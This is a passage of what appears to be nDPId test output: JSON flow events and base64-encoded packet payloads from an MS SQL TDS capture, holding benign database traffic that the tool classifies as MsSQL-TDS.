ABsAAoAIAAgACAAIAAqACAAVABlAGEAdAByACAATQBpAGUAagBzAGsAaQAgAHcAIABHAGQAeQBuAGkAIABpAG0ALgAgAFcALgAgAEcAbwBtAGIAcgBvAHcAaQBjAHoAYQAKACAAIAAgACAAKgAgAFcAcwBwAGkAbgBhAGwAbgBpAGEAIABBAGwAZgBhACAAQwBlAG4AdAByAHUAbQAKACAAIAAgACAAKgAgAFAAaQBlAGsAYQByAG4AaQBhAC0AQwB1AGsAaQBlAHIAbgBpAGEAIABLAHIAYQBzAGsAbwB3AHMAawBpAAoACgAKADMALgAgAE4AbwB3AG8AWwFjAGkAIAB3ACAAdABlAGoAIABlAGQAeQBjAGoAaQAKAAoAIAA="} +02369{"flow_id":6,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"mssql_tds.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1259762474,"pkt_ts_usec":884380,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ABI\/\/61OABI\/\/6f2CABFAAXc3nFAAIAGkssKb29vCgAAARoKBZn0dpe\/83WfcFAQ\/vIuZwAAIAAgACAAKgAgAEwAaQBjAHoAYgBhACAAdAByAGEAcwAgAFQAcgB1AGQAbgB5AGMAaAAgAHoAbwBzAHQAYQBCAWEAIABvAGcAcgBhAG4AaQBjAHoAbwBuAGEAIABkAG8AIABkAHcA8wBjAGgALAAgAGEAIABuAGEAIAB0AHIAYQBzAGkAZQAgAE0AYQBCAW8AIABUAHIAdQBkAG4AZQBqACAAegB3AGkAGQFrAHMAegB5AGwAaQBbAW0AeQAgAGwAaQBtAGkAdAAgAG8AcwDzAGIAIAB3ACAAegBlAHMAcABvAEIBYQBjAGgAIABkAG8AIABwAGkAGQFjAGkAdQAuACAASgBlAGQAbgBvAGMAegBlAFsBbgBpAGUAIABpAG4AZgBvAHIAbQB1AGoAZQBtAHkALAAgAHwBZQAgAHoAdwB5AGMAaQAZAXMAawBpAGUAIABkAHIAdQB8AXkAbgB5ACAAbgBhACAAdABlAGoAIAB0AHIAYQBzAGkAZQAgAG8AdAByAHoAeQBtAGEAagAFASAAbgBhAGcAcgBvAGQAeQAgAGoAYQBrAG8AIABvAHMAdABhAHQAbgBpAGUALAAgAHAAbwAgAHoAdwB5AGMAaQAZAXoAYwBhAGMAaAAgAHcAcwB6AHkAcwB0AGsAaQBjAGgAIABwAG8AegBvAHMAdABhAEIBeQBjAGgAIAB0AHIAYQBzAC4AIABaAGEAYwBoABkBYwBhAG0AeQAgAGQAbwAgAHUAYwB6AGUAcwB0AG4AaQBjAHQAdwBhACAAbgBhACAAdABlAGoAIAB0AHIAYQBzAGkAZQAgAHIAbwBkAHoAaQBuAHkAIAB6ACAAZAB6AGkAZQAHAW0AaQAuAAoAIAAgACAAIAAqACAAUABvAGQAbgBpAGUAcwBpAG8AbgBhACAAegBvAHMAdABhAEIBYQAgAHcAeQBzAG8AawBvAFsBBwEgAHcAcABpAHMAbwB3AGUAZwBvACAAZABsAGEAIAB6AGUAcwBwAG8AQgHzAHcAIAB6AGEAcABpAHMAdQBqAAUBYwB5AGMAaAAgAHMAaQAZASAAcAByAHoAZQB6ACAASQBuAHQAZQByAG4AZQB0ACAAaQAgAHcAeQBuAG8AcwBpACAAbwBiAGUAYwBuAGkAZQAgADIANQAgAFAATABOAC4ACgAgACAAIAAgACoAIABQAG8AZABuAGkAZQBzAGkAbwBuAGEAIAB6AG8AcwB0AGEAQgFhACAAdABhAGsAfAFlACAAdwB5AHMAbwBrAG8AWwEHASAAdwBwAGkAcwBvAHcAZQBnAG8AIABkAGwAYQAgAHoAZQBzAHAAbwBCAfMAdwAgAHUAaQBzAHoAYwB6AGEAagAFAWMAeQBjAGgAIABvAHAAQgFhAHQAGQEgAHcAIABiAGEAegBpAGUAIAB3ACAAZABuAGkAdQAgAGkAbQBwAHIAZQB6AHkAIABsAHUAYgAgAHoAYQBwAGkAcwB1AGoABQFjAHkAYwBoACAAcwBpABkBIAB3ACAAZABuAGkAdQAgAGkAbQBwAHIAZQB6AHkAIABpACAAdwB5AG4AbwBzAGkAIABvAGIAZQBjAG4AaQBlACAANAAwACAAUABMAE4ALgAKACAAIAAgACAAKgAgAE0AaQBlAGoAcwBjAGUAIABzAHQAYQByAHQAdQAgAG8AZwBCAW8AcwB6AG8AbgBlACAAegBvAHMAdABhAG4AaQBlACAAdwAgAGQAbgBpAHUAIABpAG0AcAByAGUAegB5ACAAbwAgAGcAbwBkAHoAaQBuAGkAZQAgADAAOQA6ADAAMAAuAAoAIAAgACAAIAAqACAASQBzAHQAbgBpAGUAagBlACAAbQBvAHwBbABpAHcAbwBbAQcBIABzAGsAbwByAHoAeQBzAHQAYQBuAGkAYQAgAHoAIAB0AHIAYQBuAHMAcAA="} +02368{"flow_id":6,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"mssql_tds.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1259762474,"pkt_ts_usec":884530,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ABI\/\/61OABI\/\/6f2CABFAAXc3nJAAIAGksoKb29vCgAAARoKBZn0dp1z83WfcFAQ\/vL+VwAAbwByAHQAdQAgAG8AcgBnAGEAbgBpAHoAYQB0AG8AcgBhACwAIAB6AGEAcgDzAHcAbgBvACAAbgBhACAAbQBpAGUAagBzAGMAZQAgAGkAbQBwAHIAZQB6AHkAIABqAGEAawAgAGkAIAB6ACAAcABvAHcAcgBvAHQAZQBtAC4AIABaAGEAaQBuAHQAZQByAGUAcwBvAHcAYQBuAGkAIAB1AGMAegBlAHMAdABuAGkAYwB5ACAAYgAZAWQABQEgAG0AbwBnAGwAaQAgAHoAZwBCAW8AcwBpAAcBIABjAGgAGQEHASAAcwBrAG8AcgB6AHkAcwB0AGEAbgBpAGEAIAB6ACAAdAByAGEAbgBzAHAAbwByAHQAdQAgAHcAIABmAG8AcgBtAHUAbABhAHIAegB1ACAAegBhAHAAaQBzAPMAdwAsACAAYQAgAG8AcABCAWEAdAAZASAAegBhACAAdAByAGEAbgBzAHAAbwByAHQAIABiABkBZAB6AGkAZQAgAG0AbwB8AW4AYQAgAHUAaQBbAWMAaQAHASAAdwB5AEIBBQFjAHoAbgBpAGUAIABwAHIAegBlAGwAZQB3AGUAbQAuACAASQBsAG8AWwEHASAAbQBpAGUAagBzAGMAIAB3ACAAdAByAGEAbgBzAHAAbwByAGMAaQBlACAAbwByAGcAYQBuAGkAegBhAHQAbwByAGEAIABqAGUAcwB0ACAAbwBnAHIAYQBuAGkAYwB6AG8AbgBhAC4ACgAgACAAIAAgACoAIABQAG8AIAByAGEAegAgAGsAbwBsAGUAagBuAHkAIABiABkBZAB6AGkAZQBtAHkAIABwAHIAbwB3AGEAZAB6AGkABwEgAHMAcAByAHoAZQBkAGEAfAEgAHAAYQBtAGkABQF0AGsAbwB3AHkAYwBoACAAawBvAHMAegB1AGwAZQBrACwAIABrAHQA8wByAGUAIAB0AHkAbQAgAHIAYQB6AGUAbQAgAGQAbwBzAHQAGQFwAG4AZQAgAGIAGQFkAAUBIAB3ACAAagBlAGQAbgB5AG0AIABrAG8AbABvAHIAegBlACAAEyAgAGMAegBhAHIAbgB5AG0ALgAgAFcAaQAZAWMAZQBqACAAaQBuAGYAbwByAG0AYQBjAGoAaQAgAHcAIAB6AGEAawBCAWEAZABjAGUAIAAeIEsAbwBzAHoAdQBsAGsAaQAdICAAcABvAGoAYQB3AGkAIABzAGkAGQEgAG4AaQBlAGIAYQB3AGUAbQAuAAoACgAKADQALgAgAFQAZQByAG0AaQBuACAAaQAgAG0AaQBlAGoAcwBjAGUAIABpAG0AcAByAGUAegB5AAoACgBJAG0AcAByAGUAegBhACAAbwBkAGIAGQFkAHoAaQBlACAAcwBpABkBIAB3ACAAbgBvAGMAeQAgAHoAIAA0ACAAbgBhACAANQAgAGcAcgB1AGQAbgBpAGEAIAAyADAAMQAwACAAcgBvAGsAdQAsACAAYgBlAHoAIAB3AHoAZwBsABkBZAB1ACAAbgBhACAAdwBhAHIAdQBuAGsAaQAgAHAAbwBnAG8AZABvAHcAZQAuAAoACgBMAG8AawBhAGwAaQB6AGEAYwBqAGEAIABCAGEAegB5ACAAaQBtAHAAcgBlAHoAeQAgAHcAcgBhAHoAIAB6ACAAbQBhAHAAawAFASAAZABvAGoAYQB6AGQAbwB3AAUBIAB6AG8AcwB0AGEAbgBpAGUAIABwAG8AZABhAG4AYQAgAHcAIABkAG4AaQB1ACAAaQBtAHAAcgBlAHoAeQAgAG8AIABnAG8AZAB6AGkAbgBpAGUAIAAwADkAOgAwADAAIAB3ACAASQBuAHQAZQByAG4AZQBjAGkAZQAgAG4AYQAgAHMAdAByAG8AbgBpAGUAIAB3AHcAdwAuAHMAawBwAHQALgBnAGQAYQBuAHMAawA="} +02369{"flow_id":6,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"mssql_tds.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1259762474,"pkt_ts_usec":884630,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ABI\/\/61OABI\/\/6f2CABFAAXc3nNAAIAGkskKb29vCgAAARoKBZn0dqMn83WfcFAQ\/vIv\/wAALgBwAGwALwBkAGEAcgB6AGwAdQBiAC4AIABTAHQAYQByAHQAeQAgAGkAIABtAGUAdAB5ACAAdwBzAHoAeQBzAHQAawBpAGMAaAAgAHQAcgBhAHMAIABtAGEAcgBzAHoAdQAgAGIAGQFkAAUBIAB3ACAAYgBhAHoAaQBlACAAaQBtAHAAcgBlAHoAeQAuACAARABvAGoAYQB6AGQAIABpACAAcABvAHcAcgDzAHQAIABiABkBZAAFASAAbQBvAHwBbABpAHcAZQAgAHQAcgBhAG4AcwBwAG8AcgB0AGUAbQAgAHAAdQBiAGwAaQBjAHoAbgB5AG0ALAAgAHQAcgBhAG4AcwBwAG8AcgB0AGUAbQAgAHUAZABvAHMAdAAZAXAAbgBpAGEAbgB5AG0AIABwAHIAegBlAHoAIABvAHIAZwBhAG4AaQB6AGEAdABvAHIAYQAgAGwAdQBiACAAdwBlACAAdwBCAWEAcwBuAHkAbQAgAHoAYQBrAHIAZQBzAGkAZQAuAAoACgA1AC4AIABLAGEAdABlAGcAbwByAGkAZQAgAHMAdABhAHIAdABvAHcAZQAKAAoAVQBjAHoAZQBzAHQAbgBpAGMAeQAgAGkAbQBwAHIAZQB6AHkAIAB6AGcAQgFhAHMAegBhAGoABQEgAHMAaQAZASAAaQAgAHMAdABhAHIAdAB1AGoABQEgAHcAIAB6AGUAcwBwAG8AQgFhAGMAaAAgAGoAZQBkAG4AbwAsACAAZAB3AHUAIABsAHUAYgAgAGUAdwBlAG4AdAB1AGEAbABuAGkAZQAgAHQAcgB6AHkAbwBzAG8AYgBvAHcAeQBjAGgALgAgAFcAeQBqAAUBdABlAGsAIABzAHQAYQBuAG8AdwBpACAAdAByAGEAcwBhACAATQBhAEIBbwAgAFQAcgB1AGQAbgBhACwAIABuAGEAIABrAHQA8wByAGUAagAgAG0AbwB8AW4AYQAgAHMAdABhAHIAdABvAHcAYQAHASAAdwAgAHoAZQBzAHAAbwBCAWEAYwBoACAAbQBhAGsAcwB5AG0AYQBsAG4AaQBlACAAcABpABkBYwBpAG8AbwBzAG8AYgBvAHcAeQBjAGgALgAgAFAAcgB6AHkAbgBhAGoAbQBuAGkAZQBqACAAagBlAGQAbgBhACAAbwBzAG8AYgBhACAAdwAgAHoAZQBzAHAAbwBsAGUAIABtAHUAcwBpACAAYgB5AAcBIABwAGUAQgFuAG8AbABlAHQAbgBpAGEALgAgAE0AaQBuAHUAdAB5ACAAcwB0AGEAcgB0AG8AdwBlACAAegBlAHMAcABvAEIB8wB3ACAAcwAFASAAcAByAHoAeQBkAHoAaQBlAGwAYQBuAGUAIAB3ACAAZAByAG8AZAB6AGUAIABsAG8AcwBvAHcAYQBuAGkAYQAgAGkAIABvAGcAQgFhAHMAegBhAG4AZQAgAHAAcgB6AGUAZAAgAGkAbQBwAHIAZQB6AAUBLgAgAEQAQgF1AGcAbwBbAWMAaQAgAHQAcgBhAHMAIABwAG8AZABhAG4AbwAgAHcAIABsAGkAbgBpAGkAIABwAHIAbwBzAHQAZQBqACAAcABvAG0AaQAZAWQAegB5ACAAcAB1AG4AawB0AGEAbQBpACwAIAB6ACAAdQB3AHoAZwBsABkBZABuAGkAZQBuAGkAZQBtACAAdAByAHUAZABuAHkAYwBoACAAZABvACAAcAByAHoAZQBiAHkAYwBpAGEAIABwAHIAegBlAHMAegBrAPMAZAAgAHQAZQByAGUAbgBvAHcAeQBjAGgALgAKAAoANQAuADEALgAgAEUAawBzAHQAcgBlAG0AYQBsAG4AYQAgACgARQApACAALQAgACgAbwBrAC4AIAAyADUAIABrAG0AKQAgAC0AIAAiAHsBeQBqAGUAIABzAGkAGQEgAHQAeQA="} +01353{"flow_id":6,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"mssql_tds.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1259762474,"pkt_ts_usec":884680,"pkt_caplen":754,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":754,"pkt_l4_len":720,"pkt":"ABI\/\/61OABI\/\/6f2CABFAALk3nRAAIAGlcAKb29vCgAAARoKBZn0dqjb83WfcFAY\/vI90QAAbABrAG8AIABkAHcAYQAgAHIAYQB6AHkAIgAgAC0AIABTAHQAdwBvAHIAegBvAG4AYQAgAHoAIABtAHkAWwFsAAUBIABvACAAZQBrAHMAcABlAHIAdABhAGMAaAAgAG8AcgBpAGUAbgB0AGUAcgBpAG4AZwB1ACwAIABrAHQA8wByAHoAeQAgAHcAeQBiAGkAZQByAGEAagAFAWMAIAB0ABkBIAB0AHIAYQBzABkBIAB3AGkAZQBkAHoABQEgAG4AYQAgAGMAbwAgAHMAaQAZASAAZABlAGMAeQBkAHUAagAFAS4AIABUAHIAYQBzAGEAIABqAGUAcwB0ACAAbgBhAGoAZABCAXUAfAFzAHoAYQAsACAAbQBhACAAbgBhAGoAdwBpABkBawBzAHoAZQAgAHAAcgB6AGUAdwB5AHwBcwB6AGUAbgBpAGEAIABvAHIAYQB6ACAAbgBhAGoAdAByAHUAZABuAGkAZQBqACAAZABvAHMAdAAZAXAAbgBlACAAcAB1AG4AawB0AHkAIAB0AGUAcgBlAG4AbwB3AGUALgAgAEQAbwBkAGEAdABrAG8AdwBvACAAdwAgAHoAZQBzAHQAYQB3AGkAZQA6ACAAcABvAGQAcwB0ABkBcABuAGUAIABwAHUAbgBrAHQAeQAgAHMAdABvAHcAYQByAHoAeQBzAHoAbwBuAGUAIAByAG8AegBzAHQAYQB3AGkAbwBuAGUAIABuAGEAIABrAGEAfAFkAHkAbQAgAGsAcgBvAGsAdQAsACAAYwBoAGEAcwB6AGMAegBvAHcAYQBuAGkAZQAsACAAagBhAHIAbwB3AGEAbgBpAGUALAAgAGIAYQBnAG4AYQAgAGwAdQBiACAAWwFuAGkAZQBnACAAcABvACAAcABhAHMAIAAoAHcAIAB6AGEAbABlAHwBbgBvAA=="} +00869{"flow_id":6,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"mssql_tds.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1259762474,"pkt_ts_usec":884730,"pkt_caplen":393,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":393,"pkt_l4_len":359,"pkt":"ABI\/\/61OABI\/\/6f2CABFAAF73nVAAIAGlygKb29vCgAAARoKBZn0dquX83WfcFAY\/vLojgAAAwEBUwAAAgBbAWMAaQAgAG8AZAAgAHcAYQByAHUAbgBrAPMAdwAgAHAAbwBnAG8AZABvAHcAeQBjAGgAKQAuACAAVABhACAAdAByAGEAcwBhACAAbgBpAGUAIAB3AHkAYgBhAGMAegBhACAAYgBCARkBZADzAHcALgAuAC4AIABMAGkAbQBpAHQAIABpAGwAbwBbAWMAaQAgAHoAZQBzAHAAbwBCAfMAdwA6ACAAMgA1AC4ACgAKADUALgAyAC4AIABaAGEAYQB3AGEAbgBzAG8AdwBhAG4AYQAgACgAWgApACAALQAgACgAbwBrAC4AIAAxADQAIABrAG0AKQAgAC0AIAAiAFQAeQBsAGsAbwAgAGQAbABhACAAVAB3AG8AaQBjAGgAIABvAGMAegB1ACIAAAAAAApAAE8AcABlAHIAYQB0AGkAbwBuAAAmBAQBAAAA"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":33,"source":"mssql_tds.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1259762477536,"flow_last_seen":0,"flow_tot_l4_data_len":391,"flow_min_l4_data_len":391,"flow_max_l4_data_len":391,"flow_avg_l4_data_len":391,"midstream":1,"l3_proto":"ip4","src_ip":"10.111.111.111","dst_ip":"10.0.0.1","src_port":7777,"dst_port":1433,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00923{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"mssql_tds.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1259762477,"pkt_ts_usec":536189,"pkt_caplen":425,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":425,"pkt_l4_len":391,"pkt":"ABI\/\/61OABI\/\/6gdCABFAAGb5atAAIAGj9IKb29vCgAAAR5hBZmoWkXE76JT4VAY\/ohFLgAAAwkBcwAAAQAWAAAAEgAAAAIAAAAAAAAAAAABAAAAEABwAF8AUwBlAHQAQgBvAGcAdQBzAFMAYQBtAHAAbABlAAAAD0AAQgBvAGcAdQBzAEQAZQB0AGEAaQBsAHMASQBEAAAmCAhFIwEAAAAAAA5AAEIAbwBnAHUAcwBTAHQAYQB0AHUAcwBJAEQAACYICAUAAAAAAAAAC0AAUgBlAHMAdQBsAHQAQwBvAGQAZQAA5wIACQTQADT\/\/wpAAFIAZQBzAHUAbAB0AE0AcwBnAADnAgAJBNAANP\/\/CkAARQByAHIAbwByAEMAbwBkAGUAAOcCAAkE0AA0\/\/8JQABFAHIAcgBvAHIATQBzAGcAAOcCAAkE0AA0\/\/8YQABFAHgAYQBtAHAAbABlAEIAbwBnAHUAcwBHAGUAbgBlAHIAYQB0AGUAZABJAEQAAOcCAAkE0AA0\/\/8MQABFAHgAYQBtAHAAbABlAFQAeQBwAGUAACYEBAEAAAA="} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":33,"source":"mssql_tds.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1259762477536,"flow_last_seen":0,"flow_tot_l4_data_len":391,"flow_min_l4_data_len":391,"flow_max_l4_data_len":391,"flow_avg_l4_data_len":391,"midstream":1,"l3_proto":"ip4","src_ip":"10.111.111.111","dst_ip":"10.0.0.1","src_port":7777,"dst_port":1433,"l4_proto":"tcp","ndpi": {"proto":"MsSQL-TDS","breed":"Acceptable","category":"Database"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":34,"source":"mssql_tds.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1259762482456,"flow_last_seen":0,"flow_tot_l4_data_len":108,"flow_min_l4_data_len":108,"flow_max_l4_data_len":108,"flow_avg_l4_data_len":108,"midstream":1,"l3_proto":"ip4","src_ip":"10.111.111.111","dst_ip":"10.0.0.1","src_port":8888,"dst_port":1433,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00538{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"mssql_tds.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1259762482,"pkt_ts_usec":456090,"pkt_caplen":142,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":142,"pkt_l4_len":108,"pkt":"ABI\/\/61OABI\/\/6gdCABFAACA6VZAAIAGjUIKb29vCgAAASK4BZmoWq7z77DJrlAY\/kP\/5gAAAwkAWAAAAQAWAAAAEgAAAAIAAAAAAAAAAAABAAAAGwBwAF8ARwBlAHQATQB5AEUAeABhAG0AcABsAGUAVABhAGIAbABlAFIAbwB3AEMAbwB1AG4AdAAAAA=="} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":34,"source":"mssql_tds.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1259762482456,"flow_last_seen":0,"flow_tot_l4_data_len":108,"flow_min_l4_data_len":108,"flow_max_l4_data_len":108,"flow_avg_l4_data_len":108,"midstream":1,"l3_proto":"ip4","src_ip":"10.111.111.111","dst_ip":"10.0.0.1","src_port":8888,"dst_port":1433,"l4_proto":"tcp","ndpi": {"proto":"MsSQL-TDS","breed":"Acceptable","category":"Database"}} +00490{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":35,"source":"mssql_tds.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":17,"flow_first_seen":1259762400716,"flow_last_seen":1259762407935,"flow_tot_l4_data_len":2477,"flow_min_l4_data_len":20,"flow_max_l4_data_len":458,"flow_avg_l4_data_len":145,"midstream":1,"l3_proto":"ip4","src_ip":"10.111.111.111","dst_ip":"10.0.0.1","src_port":5555,"dst_port":1433,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":35,"source":"mssql_tds.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1259762477536,"flow_last_seen":0,"flow_tot_l4_data_len":391,"flow_min_l4_data_len":391,"flow_max_l4_data_len":391,"flow_avg_l4_data_len":391,"midstream":1,"l3_proto":"ip4","src_ip":"10.111.111.111","dst_ip":"10.0.0.1","src_port":7777,"dst_port":1433,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":35,"source":"mssql_tds.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":2,"flow_first_seen":1259762400004,"flow_last_seen":1259762400004,"flow_tot_l4_data_len":101,"flow_min_l4_data_len":37,"flow_max_l4_data_len":64,"flow_avg_l4_data_len":50,"midstream":1,"l3_proto":"ip4","src_ip":"10.111.111.111","dst_ip":"10.0.0.1","src_port":2222,"dst_port":1433,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00528{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":35,"source":"mssql_tds.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":7,"flow_first_seen":1259762474884,"flow_last_seen":1259762474884,"flow_tot_l4_data_len":8479,"flow_min_l4_data_len":359,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1211,"midstream":1,"l3_proto":"ip4","src_ip":"10.111.111.111","dst_ip":"10.0.0.1","src_port":6666,"dst_port":1433,"l4_proto":"tcp","ndpi": {"proto":"MsSQL-TDS","breed":"Acceptable","category":"Database"}} +00492{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":35,"source":"mssql_tds.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":7,"flow_first_seen":1259762474884,"flow_last_seen":1259762474884,"flow_tot_l4_data_len":8479,"flow_min_l4_data_len":359,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1211,"midstream":1,"l3_proto":"ip4","src_ip":"10.111.111.111","dst_ip":"10.0.0.1","src_port":6666,"dst_port":1433,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":35,"source":"mssql_tds.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1259762482456,"flow_last_seen":0,"flow_tot_l4_data_len":108,"flow_min_l4_data_len":108,"flow_max_l4_data_len":108,"flow_avg_l4_data_len":108,"midstream":1,"l3_proto":"ip4","src_ip":"10.111.111.111","dst_ip":"10.0.0.1","src_port":8888,"dst_port":1433,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":35,"source":"mssql_tds.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1278068444584,"flow_last_seen":0,"flow_tot_l4_data_len":238,"flow_min_l4_data_len":238,"flow_max_l4_data_len":238,"flow_avg_l4_data_len":238,"midstream":1,"l3_proto":"ip4","src_ip":"10.111.111.111","dst_ip":"10.0.0.1","src_port":9999,"dst_port":1433,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00706{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"mssql_tds.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1278068444,"pkt_ts_usec":584977,"pkt_caplen":272,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":272,"pkt_l4_len":238,"pkt":"ADAFzckRADAFzck9CABFAAECT7tAAIAGJlwKb29vCgAAAScPBZlFt6JP51MRDlAY+rgBzgAAAwEA2gAAAQAkAHAAcgBvAGMAXwBHAGUAdABNAHkARQB4AGEAbQBwAGwAZQBUAGEAYgBsAGUAUwBhAG0AcABsAGUATQBlAHQAYQBEAGEAdABhAAAAAAAkEBAzIhEAVUR3ZoiZqrvM3e7\/AAAfAADnAAAJBAABMgAAAACnJAAJBAABMiQAQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqAAAmBAQBAAAAAAAmCAgtAAAAAAAAAAAApQwADAABI0VniavN7\/7cupgAACYEBGwAAAA="} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":35,"source":"mssql_tds.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1278068444584,"flow_last_seen":0,"flow_tot_l4_data_len":238,"flow_min_l4_data_len":238,"flow_max_l4_data_len":238,"flow_avg_l4_data_len":238,"midstream":1,"l3_proto":"ip4","src_ip":"10.111.111.111","dst_ip":"10.0.0.1","src_port":9999,"dst_port":1433,"l4_proto":"tcp","ndpi": {"proto":"MsSQL-TDS","breed":"Acceptable","category":"Database"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":36,"source":"mssql_tds.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1278068444614,"flow_last_seen":0,"flow_tot_l4_data_len":219,"flow_min_l4_data_len":219,"flow_max_l4_data_len":219,"flow_avg_l4_data_len":219,"midstream":1,"l3_proto":"ip4","src_ip":"10.111.111.111","dst_ip":"10.0.0.1","src_port":11111,"dst_port":1433,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00685{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"mssql_tds.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1278068444,"pkt_ts_usec":614485,"pkt_caplen":253,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":253,"pkt_l4_len":219,"pkt":"ADAFzckRADAFzck9CABFAADvT85AAIAGJlwKb29vCgAAAStnBZlFt6Pw51OjJ1AY\/N33oQAAAwkAxwAAAQAkAHAAcgBvAGMAXwBHAGUAdABNAHkARQB4AGEAbQBwAGwAZQBUAGEAYgBsAGUAUwBhAG0AcABsAGUATQBlAHQAYQBEAGEAdABhAAAAAAAkEBAAESIzRFVmd4iZqrvM3e7\/AAAfAADnCgAJBAABMgoAQgBvAGcAdQBzAAAAHwAAJgQEAQAAAAAAJggILQAAAAAAAAAAAKUcABwAASNFZ4mrze\/ty6mHZUMhASNFZ4mrze\/ty6mHZQAAJgQEEgAAAA=="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":36,"source":"mssql_tds.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1278068444614,"flow_last_seen":0,"flow_tot_l4_data_len":219,"flow_min_l4_data_len":219,"flow_max_l4_data_len":219,"flow_avg_l4_data_len":219,"midstream":1,"l3_proto":"ip4","src_ip":"10.111.111.111","dst_ip":"10.0.0.1","src_port":11111,"dst_port":1433,"l4_proto":"tcp","ndpi": {"proto":"MsSQL-TDS","breed":"Acceptable","category":"Database"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":37,"source":"mssql_tds.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1278068444650,"flow_last_seen":0,"flow_tot_l4_data_len":288,"flow_min_l4_data_len":288,"flow_max_l4_data_len":288,"flow_avg_l4_data_len":288,"midstream":1,"l3_proto":"ip4","src_ip":"10.111.111.111","dst_ip":"10.0.0.1","src_port":22222,"dst_port":1433,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 